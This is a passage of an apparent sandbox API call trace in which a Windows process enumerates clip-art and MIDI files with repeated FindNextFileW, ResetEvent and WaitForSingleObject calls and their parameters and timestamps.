lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0249.590] ResetEvent (hEvent=0x2b8) returned 1 [0249.590] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.593] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0249.593] ResetEvent (hEvent=0x2b8) returned 1 [0249.594] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.596] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0249.596] ResetEvent (hEvent=0x2b8) returned 1 [0249.597] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.616] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0249.616] ResetEvent (hEvent=0x2b8) returned 1 [0249.616] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.708] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0249.709] ResetEvent (hEvent=0x2b8) returned 1 [0249.709] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.758] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0249.758] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0249.758] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0249.758] ResetEvent (hEvent=0x2b8) returned 1 [0249.758] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.776] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0249.776] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0249.776] ResetEvent (hEvent=0x2b8) returned 1 [0249.776] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.897] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0249.897] ResetEvent (hEvent=0x2b8) returned 1 [0249.898] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.945] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0249.945] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0249.945] ResetEvent (hEvent=0x2b8) returned 1 [0249.945] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0250.131] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0250.131] ResetEvent (hEvent=0x2b8) returned 1 [0250.131] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0250.185] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0250.186] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0250.186] ResetEvent (hEvent=0x2b8) returned 1 [0250.186] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0250.679] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0250.680] ResetEvent (hEvent=0x2b8) returned 1 [0250.680] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0250.822] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0250.822] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0250.822] ResetEvent (hEvent=0x2b8) returned 1 [0250.822] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0251.033] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0251.033] ResetEvent (hEvent=0x2b8) returned 1 [0251.033] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0251.055] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0251.055] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0251.055] ResetEvent (hEvent=0x2b8) returned 1 [0251.055] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0251.503] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0251.503] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0251.504] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0251.504] ResetEvent (hEvent=0x2b8) returned 1 [0251.504] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0251.634] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0251.634] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0251.635] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0251.635] ResetEvent (hEvent=0x2b8) returned 1 [0251.635] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0251.970] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0251.970] ResetEvent (hEvent=0x2b8) returned 1 [0251.970] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.171] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0252.172] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0252.172] ResetEvent (hEvent=0x2b8) returned 1 [0252.172] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.232] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0252.232] ResetEvent (hEvent=0x2b8) returned 1 [0252.232] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.246] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0252.246] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0252.246] ResetEvent (hEvent=0x2b8) returned 1 [0252.247] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.481] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0252.481] ResetEvent (hEvent=0x2b8) returned 1 [0252.481] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.495] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0252.496] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0252.496] ResetEvent (hEvent=0x2b8) returned 1 [0252.496] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.506] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0252.507] ResetEvent (hEvent=0x2b8) returned 1 [0252.507] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.513] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0252.515] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0252.515] ResetEvent (hEvent=0x2b8) returned 1 [0252.515] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0252.985] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, 